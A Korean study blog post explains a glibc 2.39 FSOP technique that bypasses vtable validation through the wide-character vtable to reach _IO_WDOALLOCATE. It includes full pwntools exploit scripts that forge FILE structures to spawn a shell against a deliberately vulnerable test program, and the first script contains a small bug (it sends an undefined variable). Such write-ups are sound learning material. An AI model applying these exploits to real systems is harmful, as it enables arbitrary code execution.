본문 바로가기

FSOP - _IO_WDOALLOCATE 를 이용한 익스플로잇

@eouya22025. 8. 29. 17:45

<glibc 2.39 코드 분석>

IO_validate_vtable 함수를 호출하면 vtable이 유효한 영역인지 확인한다.

들어가있는 vtable과 IO_vtables 차이만큼을 검증하는 방식으로 진행한다.

우회 방법 분석

vtable을 호출하는 과정에서 중요한 부분들을 확인해보자.

#define _IO_XSPUTN(FP, DATA, N) JUMP2 (__xsputn, FP, DATA, N)
#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N)
#define _IO_SYSREAD(FP, DATA, LEN) JUMP2 (__read, FP, DATA, LEN)
#define _IO_SYSWRITE(FP, DATA, LEN) JUMP2 (__write, FP, DATA, LEN)

우리가 익스에 사용하던 매크로 함수들은 JUMP2라는 매크로 함수를 호출하도록 되어있다.

#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)

#define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS)))

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)

JUMP2 매크로는 IO_JUMPS_FUNC 매크로를 호출하는데, 해당 매크로는 IO_validate_vtable을 호출한다.

인자로 IO_JUMPS_FILE_plus를 호출하는데, 그에 해당하는 IO_CAST_FILED_ACCESS를 보면

#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \
  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \
                       + offsetof(TYPE, MEMBER)))

IO_MEMBER_TYPE 매크로는 MEMBER가 어떤 자료형인지 반환하는 매크로이고 종합해보면IO_CAST_FIELD_ACCESS
매크로는 인자로 전달한 IO_FILE_plus 구조체의 vtable에서 MEMBER에 해당하면 offset만큼
이동한 것을 반환하는 매크로이다. 즉, IO_JUMPS_FILE_plus 매크로는 fp→vtable을 반환한다.

IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) &__io_vtables;
  if (__glibc_unlikely (offset >= IO_VTABLES_LEN))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

#define IO_VTABLES_LEN (IO_VTABLES_NUM * sizeof (struct _IO_jump_t))

IO_validate_vtable은 위에서 반환받은 vtable에 대해 검증하는 과정을 거친다.

vtable의 주소에서 __io_vtable의 주소를 빼서 offset 변수에 저장한다.

offset이 IO_VTABLES_LEN(IO_VTABLES_NUM * sizeof(IO_jump_t)) 보다 크면
IO_vtable_check함수를 호출하여 프로그램을 종료한다.

IO_validate_vtable 함수를 호출하게 되는 JUMP2 경로를 타지 않고, 멤버에 해당하는
오프셋의 vtable을 반환해주는 매크로인 IO_CAST_FIELD_ACCESS로 바로 향하는 vtable이 존재한다.

#define _IO_JUMPS_FILE_plus(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable)
#define _IO_WIDE_JUMPS(THIS) \
  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
#define _IO_CHECK_WIDE(THIS) \
  (_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data) != NULL)

이 중 IO_WIDE_JUMPS를 사용한 익스플로잇에 대해 알아보았다.

원리는 IO_validate_vtable을 호출하지 않는 경로의 vtable로 조작하여 해당 vtable내의 함수를 호출,
호출한 함수 내부에서 호출되는 함수 포인터를 조작하는 방식이다.

#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)

IO_WIDE_JUMPS 매크로는 IO_WIDE_JUMPS_FUNC 매크로가 호출한다.

#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)
#define WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)

그리고 IO_WIDE_JUMPS_FUNC 매크로는 WJUMP 0 ~3 매크로가 호출하는데, 우리가 익스플로잇에
활용할 수 있는 것은 WJUMP0을 호출하는 IO_WDOALLOCATE 매크로이다.
이번 익스플로잇의 최종 목표는 한개의 인자를 가지는 IO_WDOALLOCATE 매크로 함수를 실행하는 것이다.

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)

IO_wdoallocbuf 함수에서 IO_WDOALLOCATE 함수를 호출하는 것을 알 수 있다.

IO_wfile_underflow

  1. IO_wfile_underflow() 이용
  • IO_wfile_underflow(FILE *fp)
wint_t
_IO_wfile_underflow (FILE *fp)
{
  struct _IO_codecvt *cd;
  enum __codecvt_result status;
  ssize_t count;

  /* C99 requires EOF to be "sticky".  */
  if (fp->_flags & _IO_EOF_SEEN)
    return WEOF;

  if (__glibc_unlikely (fp->_flags & _IO_NO_READS))
    {
      fp->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

  cd = fp->_codecvt;

  /* Maybe there is something left in the external buffer.  */
  if (fp->_IO_read_ptr < fp->_IO_read_end)
    {
      /* There is more in the external.  Convert it.  */
      const char *read_stop = (const char *) fp->_IO_read_ptr;

      fp->_wide_data->_IO_last_state = fp->_wide_data->_IO_state;
      fp->_wide_data->_IO_read_base = fp->_wide_data->_IO_read_ptr =
    fp->_wide_data->_IO_buf_base;
      status = __libio_codecvt_in (cd, &fp->_wide_data->_IO_state,
                   fp->_IO_read_ptr, fp->_IO_read_end,
                   &read_stop,
                   fp->_wide_data->_IO_read_ptr,
                   fp->_wide_data->_IO_buf_end,
                   &fp->_wide_data->_IO_read_end);

      fp->_IO_read_base = fp->_IO_read_ptr;
      fp->_IO_read_ptr = (char *) read_stop;

      /* If we managed to generate some text return the next character.  */
      if (fp->_wide_data->_IO_read_ptr < fp->_wide_data->_IO_read_end)
    return *fp->_wide_data->_IO_read_ptr;

      if (status == __codecvt_error)
    {
      __set_errno (EILSEQ);
      fp->_flags |= _IO_ERR_SEEN;
      return WEOF;
    }

      /* Move the remaining content of the read buffer to the beginning.  */
      memmove (fp->_IO_buf_base, fp->_IO_read_ptr,
           fp->_IO_read_end - fp->_IO_read_ptr);
      fp->_IO_read_end = (fp->_IO_buf_base
              + (fp->_IO_read_end - fp->_IO_read_ptr));
      fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;
    }
  else
    fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end =
      fp->_IO_buf_base;

  if (fp->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_IO_save_base != NULL)
    {
      free (fp->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_doallocbuf (fp); 
      fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_read_end =
    fp->_IO_buf_base;
    }

  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end =
    fp->_IO_buf_base;

  if (fp->_wide_data->_IO_buf_base == NULL)
    {
      /* Maybe we already have a push back pointer.  */
      if (fp->_wide_data->_IO_save_base != NULL)
    {
      free (fp->_wide_data->_IO_save_base);
      fp->_flags &= ~_IO_IN_BACKUP;
    }
      _IO_wdoallocbuf (fp);   // 여기!!!!!!!!!!!!!

    }

함수가 좀 긴데 _IO_wdoallocbuf(fp)를 호출하기 위한 조건들을 정리해보면 다음과 같다.

  • fp→_flags에 IO_EOF_SEEN(0x0010)이 해제되어 있어야 한다.
  • fp→_flags에 IO_NO_READS(0x0004)이 해제되어 있어야 한다.
  • fp→_wide_data→IO_read_ptr ≥ fp→_wide_data→IO_read_end (둘다 0을 넣어주면 된다.)
  • fp→IO_read_ptr ≥ fp→IO_read_end (마찬가지로 둘다 0을 넣어주면 된다.)
  • fp→_wide_data→IO_buf_base == NULL이어야 한다.
  • fp→_wide_data→IO_save_base == NULL이어야 한다.
  • fp→IO_buf_base != NULL 이어야 한다.
gef➤  p &_IO_wfile_jumps
$34 = (const struct _IO_jump_t *) 0x7ffff7fa90c0 <__GI__IO_wfile_jumps>
gef➤  x/gx 0x7ffff7fa90c0+32
0x7ffff7fa90e0 <__GI__IO_wfile_jumps+32>:       0x00007ffff7e18050
gef➤  x/i 0x00007ffff7e18050
   0x7ffff7e18050 <__GI__IO_wfile_underflow>:   endbr64

IO_wfile_underflow 함수는 IO_wfile_jumps + 32에 위치한다.

해당 위치는 기존 vtable + 0x218의 위치에 있다.

우리가 파일 구조체를 덮어쓰기 전에는 와이드 스트림을 사용하지 않기 때문에 IO_validate_vtable 함수가
호출될 것인데, 함수에 bp를 걸고 계속 진행하다보면, IO_file_close_it 이라는 함수를 거치게 된다.
내 gdb에서 디스어셈이 안되서 사진을 퍼왔다.

위 코드에서 r13에는 fclose()를 호출할 때의 vtable의 주소가 담겨있다. 해석해보면 overwrite한
vtable + 0x88을 호출한다. 따라서 vtable에 기존 vtable + 0x218 - 0x88의 값을 넣어주면
IO_wfile_underflow 함수가 호출된다.

//gcc -o wfile wfile.c
#include <stdio.h>

int main(){
        printf("stderr : %p\n", stderr);
        read(0, stderr, 0x200);//sizeof(struct locked_FILE) = 0x1d8
        fclose(stderr);
        return 1;
}

위 코드에 대해서 앞서 설명한 함수들을 호출해보자.

  • IO_wfile_underflow()호출
from pwn import *

e = context.binary = ELF('./wfile')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
context.log_level = 'debug'

p.recvuntil(b': ')
stderr = int(p.recvn(14), 16)
lb = stderr - libc.sym['_IO_2_1_stderr_']
log.success(f"lb : {hex(lb)}")

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00" * 0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP


fake_file = FSOP_struct(
    flags=0xfbad2404,
    lock=lb + libc.bss() + 0x500, # writable area
    vtable= lb + libc.sym['_IO_file_jumps']+0x218-0x88, 
    _chain = stderr
)
p.send(FSOP)
p.interactive()

IO_wfile_underflow() 함수를 호출하는 것에 성공했다.

이제 IO_wfile_underflow()안에서 IO_wdoallocbuf(fp) → IO_WDOALLOCATE 를 호출하기 위한 조건을 맞춰주자.

위에서 설명한 조건 외에도 IO_wdoallocbuf(fp)를 실행하였다면, 해당 함수 내부에서 IO_WDOALLOCATE
매크로를 실행할 수 있도록 조건을 맞춰줘야 한다.

void
_IO_wdoallocbuf (FILE *fp)
{
  if (fp->_wide_data->_IO_buf_base)
    return;
  if (!(fp->_flags & _IO_UNBUFFERED))
    if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
      return;
  _IO_wsetb (fp, fp->_wide_data->_shortbuf,
             fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
  • fp→_wide_data→IO_buf_base == 0 이어야 한다.
  • fp→_flags에 IO_UNBUFFERED(0x0002)가 해제되어 있어야 한다.

위 조건들에 더해 wide_vtable 에는 어떤 값을 넣어줘야 쉘이 실행될까?

IO_wdoallocbuf disassemble

gef➤  disas _IO_wdoallocbuf
Dump of assembler code for function __GI__IO_wdoallocbuf:
   0x00007ffff7e16bf0 <+0>:     endbr64
   0x00007ffff7e16bf4 <+4>:     mov    rax,QWORD PTR [rdi+0xa0]
   0x00007ffff7e16bfb <+11>:    cmp    QWORD PTR [rax+0x30],0x0
   0x00007ffff7e16c00 <+16>:    je     0x7ffff7e16c08 <__GI__IO_wdoallocbuf+24>
   0x00007ffff7e16c02 <+18>:    ret
   0x00007ffff7e16c03 <+19>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7e16c08 <+24>:    push   r12
   0x00007ffff7e16c0a <+26>:    push   rbp
   0x00007ffff7e16c0b <+27>:    push   rbx
   0x00007ffff7e16c0c <+28>:    mov    rbx,rdi
   0x00007ffff7e16c0f <+31>:    test   BYTE PTR [rdi],0x2
   0x00007ffff7e16c12 <+34>:    jne    0x7ffff7e16c88 <__GI__IO_wdoallocbuf+152>
   0x00007ffff7e16c14 <+36>:    mov    rax,QWORD PTR [rax+0xe0]
   0x00007ffff7e16c1b <+43>:    call   QWORD PTR [rax+0x68]

_GI_IO_wdoallocbuf 함수를 디스어셈블 한 결과이다.
해당 코드에서 rax에 wide_data가 들어있다는 것만 알아 두고 마지막 부분을 보자.

  • mov rax, QWORD PTR [rax+0xe0]

rax + 0xe0에 유효한 메모리 주소가 있어야 한다. rax+0xe0에 위치에 들어있는 주소를 rax에 저장한다.

  • call QWORD PTR [rax+0x68]

위에서 저장한 주소(wide_vtable)에 0x68을 더한 주소를 호출한다.

정리하면 fake_wide + 0xe0 위치에 [fake_wide 내 system함수 포인터가 들어가있는 위치]-0x68의 값을 넣어주면 된다.

  • 전체 익스코드
from pwn import *

e = context.binary = ELF('./wfile')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
context.log_level = 'debug'

p.recvuntil(b': ')
stderr = int(p.recvn(14), 16)
lb = stderr - libc.sym['_IO_2_1_stderr_']
log.success(f"lb : {hex(lb)}")

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) 
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) 
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2) 
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0) 
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode) 
    if _unused2 == b"": 
        FSOP += b"\x00" * 0x14 
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

system = lb + libc.sym['system']
_flags = 0xfbad2404 & (~0x10) & (~0x04) & (~0x02)
_flags = _flags | 1 | int.from_bytes(b';sh', 'little') << 4*8
fake_file = FSOP_struct(
    flags = _flags,
    lock=lb + libc.bss() + 0x500, # writable area
    vtable= lb + libc.sym['_IO_file_jumps']+0x218-0x88, 
    _IO_read_ptr = 1,
    _IO_read_end = 0,
    _IO_save_base = 0,
    _IO_buf_base = 1,
    _chain = stderr,
    _wide_data = stderr + 0xe0 #fake_wide
)
fake_wide = p64(0) # read_ptr
fake_wide += p64(0) # read_end
fake_wide += p64(0) # read_base
fake_wide += p64(0) # write_base
fake_wide += p64(0) # write_ptr
fake_wide += p64(0) # write_end
fake_wide += p64(0) # IO_buf_base
fake_wide += p64(0) # IO_buf_end 
fake_wide += p64(0) # IO_save_base // length = 0x48
fake_wide += p64(system)
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(stderr + 0xe0 + 0x48 - 0x68) # vtable 여기는 stderr + 0xe0 + 0xe0


p.send(fake_file + fake_wide)
p.interactive()

system(”/bin/sh”)을 실행하는 것을 볼 수 있다.

IO_wfile_overflow()

  1. IO_wfile_overflow() 이용
  • IO_wfile_overflow(File *f, wint_t wch)
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return WEOF;
    }
  /* If currently reading or no buffer allocated. */
  if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0
      || f->_wide_data->_IO_write_base == NULL)
    {
      /* Allocate a buffer if needed. */
      if (f->_wide_data->_IO_write_base == 0)
	{
	  _IO_wdoallocbuf (f); // 여기!!!!!!!!!!
	  _IO_free_wbackup_area (f);
	  _IO_wsetg (f, f->_wide_data->_IO_buf_base,
		     f->_wide_data->_IO_buf_base, f->_wide_data->_IO_buf_base);

	  if (f->_IO_write_base == NULL)
	    {
	      _IO_doallocbuf (f);
	      _IO_setg (f, f->_IO_buf_base, f->_IO_buf_base, f->_IO_buf_base);
	    }
	}
	 ...
  • f→_flags에 IO_NO_WRITES(0x0008)이 해제되어 있어야 한다.
  • f→_wide_data→IO_write_base == 0 이어야 한다.
gef➤  p &_IO_wfile_jumps                                                                                                                                                                                                                                                                 
$34 = (const struct _IO_jump_t *) 0x7ffff7fa90c0 <__GI__IO_wfile_jumps>
gef➤  x/gx 0x7ffff7fa90c0+24                                                                                                                                                                                                                                                             
0x7ffff7fa90d8 <__GI__IO_wfile_jumps+24>:       0x00007ffff7e19410                                                                                                                                                                                                                       
gef➤  x/i 0x00007ffff7e19410                                                                                                                                                                                                                                                             
   0x7ffff7e19410 <__GI__IO_wfile_overflow>:    endbr64

IO_wfile_overflow의 경우 IO_wfile_jumps + 24에 위치하고,
해당 위치는 기존 vtable+0x210의 위치이다.
따라서 위에서 설명했던 것을 토대로 vtable에 기존 vtable + 0x210 - 0x88
넣어주면 IO_wfile_overflow 함수가 호출된다.

디버깅은 생략하고 위에 IO_wfile_underflow를 호출하는 것 처럼 익스코드를 짜면 된다.

IO_wfile_overflow를 이용하는게 훨씬 간단하긴 하다.

  • 전체 익스 코드
from pwn import *

e = context.binary = ELF('./wfile')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
p = process()

context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)
context.log_level = 'debug'

p.recvuntil(b': ')
stderr = int(p.recvn(14), 16)
lb = stderr - libc.sym['_IO_2_1_stderr_']
log.success(f"lb : {hex(lb)}")

def FSOP_struct(flags=0, _IO_read_ptr=0, _IO_read_end=0, _IO_read_base=0,
                _IO_write_base=0, _IO_write_ptr=0, _IO_write_end=0, _IO_buf_base=0, _IO_buf_end=0,
                _IO_save_base=0, _IO_backup_base=0, _IO_save_end=0, _markers=0, _chain=0, _fileno=0,
                _flags2=0, _old_offset=0, _cur_column=0, _vtable_offset=0, _shortbuf=0, lock=0,
                _offset=0, _codecvt=0, _wide_data=0, _freeres_list=0, _freeres_buf=0,
                __pad5=0, _mode=0, _unused2=b"", vtable=0, more_append=b""):

    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base) 
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end) 
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2) 
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0) 
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode) 
    if _unused2 == b"": 
        FSOP += b"\x00" * 0x14 
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")

    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

system = lb + libc.sym['system']
_flags = 0xfbad2404 & (~0x08) & (~0x02)
_flags = _flags | 1 | int.from_bytes(b';sh', 'little') << 4*8
fake_file = FSOP_struct(
    flags = _flags,
    lock=lb + libc.bss() + 0x500, # writable area
    vtable= lb + libc.sym['_IO_file_jumps']+0x210-0x88, 
    _chain = stderr,
    _wide_data = stderr + 0xe0 #fake_wide
)
fake_wide = p64(0) # read_ptr
fake_wide += p64(0) # read_end
fake_wide += p64(0) # read_base
fake_wide += p64(0) # write_base
fake_wide += p64(0) # write_ptr
fake_wide += p64(0) # write_end
fake_wide += p64(0) # IO_buf_base
fake_wide += p64(0) # IO_buf_end 
fake_wide += p64(0) # IO_save_base // length = 0x48
fake_wide += p64(system)
fake_wide = fake_wide.ljust(0xe0, b'\x00')
fake_wide += p64(stderr + 0xe0 + 0x48 - 0x68) # vtable 여기는 stderr + 0xe0 + 0xe0


p.send(fake_file + fake_wide)
p.interactive()

첫 분석이라 멘탈이 많이 흔들리면서 분석해서

틀린게 있으면 말해주시면 정말 감사하겠습니다.

Reference :

https://jangjongmin.oopy.io/1c288168-1989-80e6-8cc6-e732a5d4fea6

 

FSOP(File Stream Oriented Programming) 4편 - FSOP vtable Overwrite Exploit

FSOP 4편 FSOP vtable Overwrite Exploit

jangjongmin.oopy.io

 

eouya2
@eouya2 :: eouya2

개인공부 기록 / 틀린거 있으면 돌팔매질 부탁드립니다

목차